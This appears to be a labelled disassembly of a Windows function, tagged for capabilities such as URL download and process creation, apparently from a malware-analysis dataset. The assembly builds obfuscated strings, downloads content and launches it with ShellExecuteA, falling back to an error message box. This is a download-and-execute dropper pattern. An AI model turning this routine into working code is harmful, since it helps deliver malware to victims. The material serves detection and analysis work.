Function at 0x1400112b7
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
jmp 0x1400132f0
push rbp
push rdi
sub rsp, 0x688
lea rbp, [rsp + 0x30]
lea rcx, [0x1400250b4]
call fcn.1400113e8
lea rax, [rbp + 0x2c4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x2e4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x304]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x2c4]
movzx r8d, byte [rbp + 0x2e4]
movzx edx, byte [rbp + 0x304]
lea rcx, [rbp + 0x330]
call fcn.140011af0
mov rcx, rax
call fcn.14001142e
mov qword [rbp + 8], rax
lea rax, [rbp + 0x354]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x374]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x394]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x354]
movzx r8d, byte [rbp + 0x374]
movzx edx, byte [rbp + 0x394]
lea rcx, [rbp + 0x3c0]
call fcn.140011b50
mov rcx, rax
call fcn.140011375
mov qword [rbp + 0x28], rax
lea rax, [rbp + 0x3f4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x414]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x434]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x3f4]
movzx r8d, byte [rbp + 0x414]
movzx edx, byte [rbp + 0x434]
lea rcx, [rbp + 0x460]
call fcn.140011bb0
mov rcx, rax
call fcn.140011375
mov qword [rbp + 0x48], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 8]
xor ecx, ecx
call fcn.1400110fa
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jl 0x1400134f7
lea rax, [rbp + 0x494]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x4b4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x4d4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x494]
movzx r8d, byte [rbp + 0x4b4]
movzx edx, byte [rbp + 0x4d4]
lea rcx, [rbp + 0x500]
call fcn.140011c10
mov rcx, rax
call fcn.1400111ae
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x48]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x1400135e9
lea rax, [rbp + 0x524]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x544]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x564]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x524]
movzx r8d, byte [rbp + 0x544]
movzx edx, byte [rbp + 0x564]
lea rcx, [rbp + 0x590]
call fcn.140011cd0
mov rcx, rax
call fcn.140011424
mov qword [rbp + 0x638], rax
lea rax, [rbp + 0x5b4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x5d4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x5f4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x5b4]
movzx r8d, byte [rbp + 0x5d4]
movzx edx, byte [rbp + 0x5f4]
lea rcx, [rbp + 0x620]
call fcn.140011c70
mov rcx, rax
call fcn.1400110be
mov qword [rbp + 0x640], rax
mov r9d, 0x10
mov r8, qword [rbp + 0x638]
mov rdx, qword [rbp + 0x640]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
lea rsp, [rbp + 0x658]
pop rdi
pop rbp
ret